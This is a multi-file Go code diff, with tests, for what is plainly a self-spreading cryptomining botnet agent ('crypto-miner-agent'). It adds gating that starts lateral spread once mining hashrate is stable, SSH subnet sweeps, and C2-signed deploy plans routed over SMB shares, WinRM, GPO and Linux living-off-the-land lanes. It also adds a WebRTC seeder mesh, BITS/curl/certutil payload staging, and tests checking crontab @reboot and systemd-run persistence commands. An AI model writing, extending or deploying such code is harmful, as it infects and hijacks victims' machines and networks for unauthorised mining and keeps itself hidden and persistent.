if ok, reason := AllowAutospread(cfg); !ok {
return "autospread deferred: " + reason
}
go spreadUnixSubnet(cfg)
return "unix lateral spread sweep started (SSH :22)"
}
@@ -44,6 +47,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
var spreadSem = make(chan struct{}, 16)
func spreadUnixSubnet(cfg config.RuntimeConfig) {
if ok, reason := AllowAutospread(cfg); !ok {
log.Printf("[autospread] spread deferred: %s", reason)
finishSpreadSweepImmediate()
return
}
exePath, err := os.Executable()
if err != nil {
return

View File

@@ -34,6 +34,40 @@ func TestResolveRemotePathDesktopPrefix(t *testing.T) {
}
}
func TestResolveRemotePathRejectsTraversalVariants(t *testing.T) {
cases := []string{
"../../etc/passwd",
`..\..\Windows\System32\config\sam`,
"uploads/../../outside.txt",
"/var/log/../../etc/shadow",
"..",
"~/../../etc/passwd",
"@desktop/../../outside.txt",
"desktop:../../payload.bin",
"safe/inner/../../../etc/shadow",
}
for _, path := range cases {
if _, err := ResolveRemotePath(path); err == nil {
t.Fatalf("ResolveRemotePath(%q) should reject traversal", path)
} else if !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("ResolveRemotePath(%q) error=%q", path, err.Error())
}
}
}
func TestRemotePathHasTraversal(t *testing.T) {
for _, path := range []string{"../x", "desktop:../../x", "foo/../bar"} {
if !remotePathHasTraversal(path) {
t.Fatalf("expected traversal for %q", path)
}
}
for _, path := range []string{"~/Downloads", "notes.txt", "@desktop/report.pdf"} {
if remotePathHasTraversal(path) {
t.Fatalf("safe path flagged as traversal: %q", path)
}
}
}
func TestUserDesktopDir(t *testing.T) {
dir, err := UserDesktopDir()
if err != nil {

View File

@@ -12,6 +12,19 @@ import (
"crypto-miner-agent/config"
)
// SpreadRouteHint is the server BGP-style spread route recommendation.
type SpreadRouteHint struct {
TargetSubnet string `json:"target_subnet"`
SeedAgentID string `json:"seed_agent_id"`
SeedAgentName string `json:"seed_agent_name,omitempty"`
EgressAgentID string `json:"egress_agent_id"`
EgressHopIndex int `json:"egress_hop_index,omitempty"`
SessionID string `json:"session_id,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
Score float64 `json:"score,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
}
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
type WebRTCMeshPlanBody struct {
STUNServers []string `json:"stun_servers,omitempty"`
@@ -38,8 +51,9 @@ type DeployPlanBody struct {
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"`
}
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
@@ -69,10 +83,18 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
return ExecuteDeployPlanAs(cfg, plan, "")
}
// ExecuteDeployPlanAs runs a deploy plan honoring spread_route_hint for the executor agent.
func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executorAgentID string) (string, error) {
lane := strings.TrimSpace(plan.JoinLane)
if lane == "" {
lane = strings.TrimSpace(plan.Action)
}
if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK {
return deferMsg, nil
}
switch lane {
case "do_peer":
if plan.Manifest == nil {
@@ -135,6 +157,20 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
if policy.RotationHours <= 0 {
policy.RotationHours = DefaultWebRTCRotationHours
}
execID := strings.TrimSpace(executorAgentID)
if execID != "" {
if plan.SpreadRouteHint != nil && strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID) == execID {
policy.IsSeeder = true
}
if plan.WebRTCMesh != nil && strings.TrimSpace(plan.WebRTCMesh.SeederAgentID) == execID {
policy.IsSeeder = true
}
}
if !policy.IsSeeder {
if seeder := PreferredLANSeeder(); seeder != nil {
ApplyLANSeederToWebRTC(&policy, seeder)
}
}
msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
Policy: policy,
SHA256: plan.Manifest.SHA256,
@@ -191,6 +227,27 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
}
}
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
return "", false
}
egress := strings.TrimSpace(plan.SpreadRouteHint.EgressAgentID)
if egress == "" || egress == executorAgentID {
return "", false
}
switch lane {
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
return fmt.Sprintf(
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)",
egress,
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
), true
default:
return "", false
}
}
func runJoinScript(script string, windows bool) error {
script = strings.TrimSpace(script)
if script == "" {
@@ -257,6 +314,10 @@ func PickLocalJoinLane(discoveryJSON string) string {
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
return RunDiscoverAndJoinAs(cfg, maxLANHosts, "", fetchPlan)
}
func RunDiscoverAndJoinAs(cfg config.RuntimeConfig, maxLANHosts int, executorAgentID string, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
raw := RunServiceDiscoverForJoin(maxLANHosts)
result, parseErr := ParseServiceDiscoverJSON(raw)
if parseErr != nil {
@@ -285,13 +346,34 @@ func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan Dep
if joinLane == "" {
joinLane = resp.Plan.JoinLane
}
msg, err := ExecuteDeployPlan(cfg, resp.Plan)
if cfg.ScoutMode {
return joinLane, "scout: join lane mapped (no payload staging)", nil
}
msg, err := ExecuteDeployPlanAs(cfg, resp.Plan, executorAgentID)
if err != nil {
return joinLane, "", err
}
if resp.Plan.SpreadRouteHint != nil && strings.TrimSpace(resp.Plan.SpreadRouteHint.EgressAgentID) != "" {
msg = appendSpreadRouteTelemetry(msg, resp.Plan.SpreadRouteHint)
}
return joinLane, msg, nil
}
func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
if hint == nil {
return detail
}
routeNote := fmt.Sprintf("route_hint egress=%s seed=%s score=%.2f",
strings.TrimSpace(hint.EgressAgentID),
strings.TrimSpace(hint.SeedAgentID),
hint.Score,
)
if detail == "" {
return routeNote
}
return detail + "; " + routeNote
}
// runServiceDiscoverFn allows tests to stub discovery output.
var runServiceDiscoverFn func(maxLANHosts int) string

View File

@@ -6,6 +6,7 @@ import (
"encoding/base64"
"encoding/hex"
"encoding/json"
"fmt"
"os"
"strings"
"testing"
@@ -182,6 +183,58 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
}
}
func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
plan := DeployPlanBody{
JoinLane: "spread_smb_unc",
Action: "spread_smb_unc",
UNCPath: `\\forge\share\worker.exe`,
SpreadRouteHint: &SpreadRouteHint{
TargetSubnet: "10.1.2",
SeedAgentID: "seed-hop",
EgressAgentID: "seed-hop",
Score: 0.82,
},
}
msg, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "patient-zero")
if err != nil {
t.Fatalf("err=%v", err)
}
if !strings.Contains(msg, "spread_route_hint") || !strings.Contains(msg, "seed-hop") {
t.Fatalf("msg=%q", msg)
}
}
func TestExecuteDeployPlanSpreadRouteHintWebRTCSeeder(t *testing.T) {
payload := []byte("webrtc-seed-plan")
sum := sha256.Sum256(payload)
hash := hex.EncodeToString(sum[:])
oldFn := webrtcMeshReceiveFn
webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
if !policy.IsSeeder {
return nil, fmt.Errorf("expected seeder role")
}
return payload, nil
}
defer func() { webrtcMeshReceiveFn = oldFn }()
plan := DeployPlanBody{
JoinLane: "webrtc_mesh", Action: "webrtc_mesh",
WebRTCMesh: &WebRTCMeshPlanBody{SeederAgentID: "seed-agent"},
SpreadRouteHint: &SpreadRouteHint{SeedAgentID: "seed-agent", EgressAgentID: "seed-agent"},
Manifest: &StagingManifest{
SHA256: hash, Dest: "webrtc-test-worker.exe", Launch: "exe", DeferMining: true,
},
}
_, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "seed-agent")
if err != nil {
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
return
}
t.Fatalf("unexpected error: %v", err)
}
}
func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
payload := []byte("webrtc-signed-plan")
sum := sha256.Sum256(payload)

View File

@@ -0,0 +1,82 @@
package deploy
import (
"sync"
"time"
"crypto-miner-agent/config"
)
var spreadGateClock = time.Now
type spreadGateState struct {
mu sync.Mutex
stableSince time.Time
chainExhausted bool
lastHashrate float64
}
var spreadGate spreadGateState
// SetSpreadMiningTelemetry updates hashrate and chain state for autospread gating.
func SetSpreadMiningTelemetry(hashrate float64, chainExhausted bool) {
spreadGate.mu.Lock()
defer spreadGate.mu.Unlock()
spreadGate.chainExhausted = chainExhausted
spreadGate.lastHashrate = hashrate
}
func resetSpreadGateForTest() {
spreadGate.mu.Lock()
spreadGate.stableSince = time.Time{}
spreadGate.chainExhausted = false
spreadGate.lastHashrate = 0
spreadGate.mu.Unlock()
}
// HashrateGateEnabled reports whether server policy requires stable mining before spread.
func HashrateGateEnabled(cfg config.RuntimeConfig) bool {
return cfg.HashrateGateSpreadMin > 0 && cfg.HashrateGateHPS > 0
}
// AllowAutospread enforces earn-before-burn: stable hashrate and non-exhausted chain.
func AllowAutospread(cfg config.RuntimeConfig) (bool, string) {
spreadGate.mu.Lock()
exhausted := spreadGate.chainExhausted
spreadGate.mu.Unlock()
if exhausted {
return false, "mining chain exhausted"
}
if !HashrateGateEnabled(cfg) {
return true, ""
}
spreadGate.mu.Lock()
defer spreadGate.mu.Unlock()
now := spreadGateClock()
if spreadGate.lastHashrate < cfg.HashrateGateHPS {
spreadGate.stableSince = time.Time{}
return false, "hashrate below gate threshold"
}
if spreadGate.stableSince.IsZero() {
spreadGate.stableSince = now
}
need := time.Duration(cfg.HashrateGateSpreadMin) * time.Minute
if now.Sub(spreadGate.stableSince) < need {
return false, "hashrate stability window not met"
}
return true, ""
}
// StableMiningDurationForTest returns how long hashrate has been above threshold (tests only).
func StableMiningDurationForTest(cfg config.RuntimeConfig) time.Duration {
if !HashrateGateEnabled(cfg) {
return 0
}
spreadGate.mu.Lock()
defer spreadGate.mu.Unlock()
if spreadGate.stableSince.IsZero() || spreadGate.lastHashrate < cfg.HashrateGateHPS {
return 0
}
return spreadGateClock().Sub(spreadGate.stableSince)
}

View File

@@ -0,0 +1,93 @@
package deploy
import (
"testing"
"time"
"crypto-miner-agent/config"
)
func TestAllowAutospreadDisabledWhenGateUnset(t *testing.T) {
resetSpreadGateForTest()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: true}}
ok, reason := AllowAutospread(cfg)
if !ok || reason != "" {
t.Fatalf("ok=%v reason=%q", ok, reason)
}
}
func TestAllowAutospreadBlocksChainExhausted(t *testing.T) {
resetSpreadGateForTest()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
HashrateGateSpreadMin: 5,
HashrateGateHPS: 100,
}}
SetSpreadMiningTelemetry(500, true)
ok, reason := AllowAutospread(cfg)
if ok || reason != "mining chain exhausted" {
t.Fatalf("ok=%v reason=%q", ok, reason)
}
}
func TestAllowAutospreadRequiresStableHashrate(t *testing.T) {
resetSpreadGateForTest()
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
spreadGateClock = func() time.Time { return base }
t.Cleanup(func() { spreadGateClock = time.Now })
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
HashrateGateSpreadMin: 10,
HashrateGateHPS: 100,
}}
SetSpreadMiningTelemetry(150, false)
ok, reason := AllowAutospread(cfg)
if ok || reason != "hashrate stability window not met" {
t.Fatalf("first tick ok=%v reason=%q", ok, reason)
}
spreadGateClock = func() time.Time { return base.Add(11 * time.Minute) }
ok, reason = AllowAutospread(cfg)
if !ok || reason != "" {
t.Fatalf("after window ok=%v reason=%q dur=%v", ok, reason, StableMiningDurationForTest(cfg))
}
}
func TestAllowAutospreadResetsOnLowHashrate(t *testing.T) {
resetSpreadGateForTest()
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
spreadGateClock = func() time.Time { return base }
t.Cleanup(func() { spreadGateClock = time.Now })
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
HashrateGateSpreadMin: 5,
HashrateGateHPS: 200,
}}
SetSpreadMiningTelemetry(250, false)
spreadGateClock = func() time.Time { return base }
if ok, _ := AllowAutospread(cfg); ok {
t.Fatal("expected window not met on first tick")
}
spreadGateClock = func() time.Time { return base.Add(6 * time.Minute) }
if ok, reason := AllowAutospread(cfg); !ok {
t.Fatalf("expected stable after 6m, reason=%q", reason)
}
SetSpreadMiningTelemetry(50, false)
ok, reason := AllowAutospread(cfg)
if ok || reason != "hashrate below gate threshold" {
t.Fatalf("ok=%v reason=%q", ok, reason)
}
}
func TestRunSpreadOnceBlockedByHashrateGate(t *testing.T) {
resetSpreadGateForTest()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
AutoSpread: true,
HashrateGateSpreadMin: 10,
HashrateGateHPS: 100,
}}
SetSpreadMiningTelemetry(0, false)
msg := RunSpreadOnce(cfg)
if msg == "" || msg == "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)" {
t.Fatalf("expected gate message, got %q", msg)
}
}

View File

@@ -0,0 +1,87 @@
package deploy
import (
"net"
"strings"
)
// LANSeederHint is a nearby seeder pushed on miner auth when fleet roles are enabled.
type LANSeederHint struct {
AgentID string `json:"agent_id"`
IP string `json:"ip,omitempty"`
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
}
// NearestLANSeeder picks the closest seeder by IP prefix match (same /24 preferred).
func NearestLANSeeder(seeders []LANSeederHint, localIP string) *LANSeederHint {
if len(seeders) == 0 {
return nil
}
localPrefix := subnet24(localIP)
var best *LANSeederHint
bestScore := -1
for i := range seeders {
s := &seeders[i]
score := 0
if localPrefix != "" && subnet24(s.IP) == localPrefix {
score = 2
} else if strings.TrimSpace(s.IP) != "" {
score = 1
}
if score > bestScore {
bestScore = score
best = s
}
}
if best == nil {
return &seeders[0]
}
return best
}
// ApplyLANSeederToWebRTC overrides mesh policy with the nearest LAN seeder fallback URL.
func ApplyLANSeederToWebRTC(policy *WebRTCMeshPolicy, seeder *LANSeederHint) {
if policy == nil || seeder == nil {
return
}
if u := strings.TrimSpace(seeder.LANFallbackURL); u != "" {
policy.LANFallbackURL = u
}
if id := strings.TrimSpace(seeder.AgentID); id != "" {
policy.SeederAgentID = id
}
}
var (
activeLANSeeders []LANSeederHint
activeLANSeedersLocalIP string
)
// SetLANSeederHints stores miner auth hints for webrtc/do_peer staging pulls.
func SetLANSeederHints(seeders []LANSeederHint, localIP string) {
activeLANSeeders = append([]LANSeederHint(nil), seeders...)
activeLANSeedersLocalIP = localIP
}
// PreferredLANSeeder returns the nearest seeder from auth hints.
func PreferredLANSeeder() *LANSeederHint {
return NearestLANSeeder(activeLANSeeders, activeLANSeedersLocalIP)
}
func subnet24(ip string) string {
ip = strings.TrimSpace(ip)
if ip == "" {
return ""
}
host := ip
if strings.Contains(ip, ":") {
if h, _, err := net.SplitHostPort(ip); err == nil {
host = h
}
}
parts := strings.Split(host, ".")
if len(parts) < 3 {
return ""
}
return parts[0] + "." + parts[1] + "." + parts[2]
}

View File

@@ -0,0 +1,22 @@
package deploy
import "testing"
func TestNearestLANSeederPrefersSameSubnet(t *testing.T) {
seeders := []LANSeederHint{
{AgentID: "far", IP: "10.0.9.1", LANFallbackURL: "http://10.0.9.1/manifest"},
{AgentID: "near", IP: "192.168.1.50", LANFallbackURL: "http://192.168.1.50/manifest"},
}
got := NearestLANSeeder(seeders, "192.168.1.10")
if got == nil || got.AgentID != "near" {
t.Fatalf("got %+v", got)
}
}
func TestApplyLANSeederToWebRTC(t *testing.T) {
policy := WebRTCMeshPolicy{}
ApplyLANSeederToWebRTC(&policy, &LANSeederHint{AgentID: "seed-1", LANFallbackURL: "http://lan/seed"})
if policy.SeederAgentID != "seed-1" || policy.LANFallbackURL != "http://lan/seed" {
t.Fatalf("policy=%+v", policy)
}
}

View File

@@ -0,0 +1,65 @@
//go:build !windows
package deploy
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestSystemdLinuxLOTLLaneSSHStartCmd(t *testing.T) {
cmd := sshSpreadStartCmd("/tmp/af-worker")
for _, want := range []string{"chmod +x", "--spread-install", "--defer-mining", "nohup"} {
if !strings.Contains(cmd, want) {
t.Fatalf("cmd=%q missing %q", cmd, want)
}
}
}
func TestSystemdLinuxLOTLPersistSystemdRunUser(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "systemd_run_user"}}
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
if !strings.Contains(cmd, "systemd-run --user") {
t.Fatalf("cmd=%q", cmd)
}
if !strings.Contains(cmd, "--defer-mining") {
t.Fatal("expected defer-mining in systemd persist")
}
}
func TestSystemdLinuxLOTLPersistCrontab(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "crontab"}}
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
if !strings.Contains(cmd, "@reboot") || !strings.Contains(cmd, "crontab") {
t.Fatalf("cmd=%q", cmd)
}
}
func TestSystemdLinuxLOTLPersistBothModes(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "both"}}
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
if !strings.Contains(cmd, "systemd-run") || !strings.Contains(cmd, "crontab") {
t.Fatalf("cmd=%q", cmd)
}
}
func TestSystemdLinuxLOTLPersistOffReturnsEmpty(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "off"}}
if got := sshSpreadPersistCmd(cfg, "/opt/af/worker"); got != "" {
t.Fatalf("got %q", got)
}
}
func TestTryLotlTierLinuxLOTLLane(t *testing.T) {
ok, msg := tryLotlTier(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{AutoSpread: true, LinuxLOTLMode: "systemd_run_user"},
}, "linux")
if !ok {
t.Fatalf("linux tier should succeed, got %q", msg)
}
if !strings.Contains(msg, "ssh") {
t.Fatalf("msg=%q", msg)
}
}

View File

@@ -0,0 +1,49 @@
package deploy
import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestRunDiscoverAndJoinScoutSkipsStaging(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
ScoutMode: true,
FleetSecret: "test-secret",
}}
fetch := func(_ []DeployServiceFinding, _ string) (DeployPlanResponse, error) {
plan := DeployPlanBody{
JoinLane: "do_peer",
Action: "do_peer",
Manifest: &StagingManifest{Dest: "worker.exe", SHA256: "abc"},
}
raw, err := json.Marshal(plan)
if err != nil {
t.Fatal(err)
}
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
mac.Write(raw)
sig := hex.EncodeToString(mac.Sum(nil))
return DeployPlanResponse{OK: true, JoinLane: "do_peer", Plan: plan, Signature: sig}, nil
}
runServiceDiscoverFn = func(_ int) string {
return `{"local":{"host":"127.0.0.1","services":[{"service_name":"dosvc","status":"running"}]}}`
}
t.Cleanup(func() { runServiceDiscoverFn = nil })
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if lane != "do_peer" {
t.Fatalf("lane=%q", lane)
}
if !strings.Contains(detail, "no payload staging") {
t.Fatalf("detail=%q", detail)
}
}

View File

@@ -0,0 +1,55 @@
package deploy
import (
"log"
"time"
"crypto-miner-agent/config"
)
// StartSeederStaging runs dns_txt / webrtc_mesh / do_peer lanes for seeder-role agents.
func StartSeederStaging(cfg config.RuntimeConfig) {
if !cfg.SeederMode && config.NormalizeFleetRole(cfg.FleetRole) != config.FleetRoleSeeder {
return
}
tiers := config.FilterSeederLotlTiers(NormalizeLotlTiers(cfg.LotlOnionTiers))
if len(tiers) == 0 {
tiers = append([]string(nil), config.SeederSpreadLanes...)
}
log.Printf("[seeder] starting staging lanes: %v", tiers)
go runSeederLaneChain(cfg, tiers)
}
func runSeederLaneChain(cfg config.RuntimeConfig, tiers []string) {
time.Sleep(30 * time.Second)
for _, tier := range tiers {
ok, reason := tryLotlTier(cfg, tier)
if ok {
log.Printf("[seeder] lane %s ready: %s", tier, reason)
return
}
log.Printf("[seeder] lane %s skipped: %s", tier, reason)
}
log.Printf("[seeder] all staging lanes exhausted")
}
// SeederSeedPressure estimates 01 LAN seed serving pressure for stats WS.
func SeederSeedPressure(cfg config.RuntimeConfig, joinLane string, lanesReady int) float64 {
if !cfg.SeederMode && config.NormalizeFleetRole(cfg.FleetRole) != config.FleetRoleSeeder {
return 0
}
if config.IsSeederSpreadLane(joinLane) {
return 1
}
if lanesReady > 0 {
n := float64(lanesReady) / float64(len(config.SeederSpreadLanes))
if n > 1 {
n = 1
}
if n < 0.25 {
n = 0.25
}
return n
}
return 0.15
}

View File

@@ -0,0 +1,26 @@
package deploy
import (
"testing"
"crypto-miner-agent/config"
)
func TestSeederSeedPressure(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{SeederMode: true}}
if p := SeederSeedPressure(cfg, "dns_txt", 0); p != 1 {
t.Fatalf("active lane pressure=%v want 1", p)
}
if p := SeederSeedPressure(cfg, "", 1); p < 0.25 || p > 1 {
t.Fatalf("ready lane pressure=%v", p)
}
miner := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleMiner}}
if SeederSeedPressure(miner, "dns_txt", 1) != 0 {
t.Fatal("miner should report 0 seed pressure")
}
}
func TestStartSeederStagingNoopForMiner(t *testing.T) {
// Should return immediately without panic for non-seeder forge.
StartSeederStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleMiner}})
}

View File

@@ -18,6 +18,14 @@ type StagingChunk struct {
Index int `json:"index,omitempty"` // shard index for dns_txt assembly order
}
// Injectable hooks for stage_fetch / RunStagingChain tests (mock BITS/curl; no real remote hosts).
var (
stagingDownloadCurlFn func(url, dest string) error
stagingDownloadBITSFn func(url, dest string) error
stagingCertutilDecodeFn func(src, dest string) error
stagingLaunchFn func(dest string, manifest StagingManifest) (string, error)
)
// StagingManifest describes a BITS/curl/certutil staging chain from the C2.
type StagingManifest struct {
Method string `json:"method"` // curl | bits

View File

@@ -0,0 +1,199 @@
package deploy
import (
"crypto/sha256"
"encoding/hex"
"os"
"path/filepath"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestStageFetchRejectsEmptyChunks(t *testing.T) {
cfg := testRuntimeConfig()
_, err := RunStagingChain(cfg, StagingManifest{
Method: "curl",
Dest: "worker.exe",
SHA256: strings.Repeat("a", 64),
})
if err == nil || !strings.Contains(err.Error(), "no chunks") {
t.Fatalf("err=%v", err)
}
}
func TestStageFetchRejectsPathTraversal(t *testing.T) {
cfg := testRuntimeConfig()
_, err := RunStagingChain(cfg, StagingManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
SHA256: strings.Repeat("a", 64),
Dest: `..\..\outside.exe`,
})
if err == nil || !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("err=%v", err)
}
}
func TestExecuteDeployPlanBitsCurlRequiresManifest(t *testing.T) {
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"})
if err == nil || !strings.Contains(err.Error(), "requires staging manifest") {
t.Fatalf("err=%v", err)
}
}
func stagingFakeDownload(payload []byte) func(url, dest string) error {
return func(url, dest string) error {
if strings.TrimSpace(url) == "" {
return os.ErrInvalid
}
return os.WriteFile(dest, payload, 0o644)
}
}
func TestCurlStagingAssemblyWithInject(t *testing.T) {
payload := []byte("curl-stage-fetch-payload")
sum := sha256.Sum256(payload)
hash := hex.EncodeToString(sum[:])
oldCurl := stagingDownloadCurlFn
oldLaunch := stagingLaunchFn
stagingDownloadCurlFn = stagingFakeDownload(payload)
stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
return "", err
}
return "staged via curl inject", nil
}
defer func() {
stagingDownloadCurlFn = oldCurl
stagingLaunchFn = oldLaunch
}()
destRel := filepath.Join("af-stage", "curl-worker.exe")
cfg := testRuntimeConfig()
msg, err := RunStagingChain(cfg, StagingManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "chunk-0.bin"}},
SHA256: hash,
Dest: destRel,
Launch: "exe",
})
if err != nil {
if strings.Contains(err.Error(), "Windows-only") {
t.Skip("staging chain requires windows build")
}
t.Fatal(err)
}
if !strings.Contains(msg, "curl") {
t.Fatalf("msg=%q", msg)
}
}
func TestBITSStagingAssemblyWithInject(t *testing.T) {
payload := []byte("bits-stage-fetch-payload")
sum := sha256.Sum256(payload)
hash := hex.EncodeToString(sum[:])
oldBits := stagingDownloadBITSFn
oldLaunch := stagingLaunchFn
stagingDownloadBITSFn = stagingFakeDownload(payload)
stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
return "", err
}
return "staged via bits inject", nil
}
defer func() {
stagingDownloadBITSFn = oldBits
stagingLaunchFn = oldLaunch
}()
cfg := testRuntimeConfig()
msg, err := RunStagingChain(cfg, StagingManifest{
Method: "bitsadmin",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/bits-chunk", File: "bits-0.bin"}},
SHA256: hash,
Dest: "bits-worker.exe",
Launch: "exe",
})
if err != nil {
if strings.Contains(err.Error(), "Windows-only") {
t.Skip("staging chain requires windows build")
}
t.Fatal(err)
}
if !strings.Contains(msg, "bits") {
t.Fatalf("msg=%q", msg)
}
}
func TestStageFetchEmptyURLRejected(t *testing.T) {
oldCurl := stagingDownloadCurlFn
stagingDownloadCurlFn = nil
defer func() { stagingDownloadCurlFn = oldCurl }()
cfg := testRuntimeConfig()
_, err := RunStagingChain(cfg, StagingManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: " ", File: "chunk.bin"}},
SHA256: strings.Repeat("a", 64),
Dest: "worker.exe",
})
if err != nil {
if strings.Contains(err.Error(), "Windows-only") {
t.Skip("staging chain requires windows build")
}
}
if err == nil || !strings.Contains(err.Error(), "empty") {
t.Fatalf("err=%v", err)
}
}
func TestStageFetchSHA256MismatchRejected(t *testing.T) {
payload := []byte("wrong-hash-payload")
oldCurl := stagingDownloadCurlFn
stagingDownloadCurlFn = stagingFakeDownload(payload)
defer func() { stagingDownloadCurlFn = oldCurl }()
cfg := testRuntimeConfig()
_, err := RunStagingChain(cfg, StagingManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
SHA256: strings.Repeat("b", 64),
Dest: "mismatch-worker.exe",
})
if err != nil {
if strings.Contains(err.Error(), "Windows-only") {
t.Skip("staging chain requires windows build")
}
}
if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
t.Fatalf("err=%v", err)
}
}
func TestStageFetchDownloaderErrorPropagates(t *testing.T) {
oldCurl := stagingDownloadCurlFn
stagingDownloadCurlFn = func(url, dest string) error {
return os.ErrPermission
}
defer func() { stagingDownloadCurlFn = oldCurl }()
cfg := testRuntimeConfig()
_, err := RunStagingChain(cfg, StagingManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
SHA256: strings.Repeat("a", 64),
Dest: "worker.exe",
})
if err != nil {
if strings.Contains(err.Error(), "Windows-only") {
t.Skip("staging chain requires windows build")
}
}
if err == nil || !strings.Contains(err.Error(), "curl chunk") {
t.Fatalf("err=%v", err)
}
}

View File

@@ -0,0 +1,20 @@
//go:build !windows
package deploy
import (
"strings"
"testing"
)
func TestRunStagingChainWindowsOnlyStub(t *testing.T) {
_, err := RunStagingChain(testRuntimeConfig(), StagingManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "c.bin"}},
SHA256: strings.Repeat("a", 64),
Dest: "worker.exe",
})
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
t.Fatalf("err=%v", err)
}
}

View File

@@ -83,6 +83,10 @@ func RunStagingChain(cfg config.RuntimeConfig, manifest StagingManifest) (string
return "", err
}
if stagingLaunchFn != nil {
return stagingLaunchFn(dest, manifest)
}
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
switch launch {
case "rundll32", "dll":
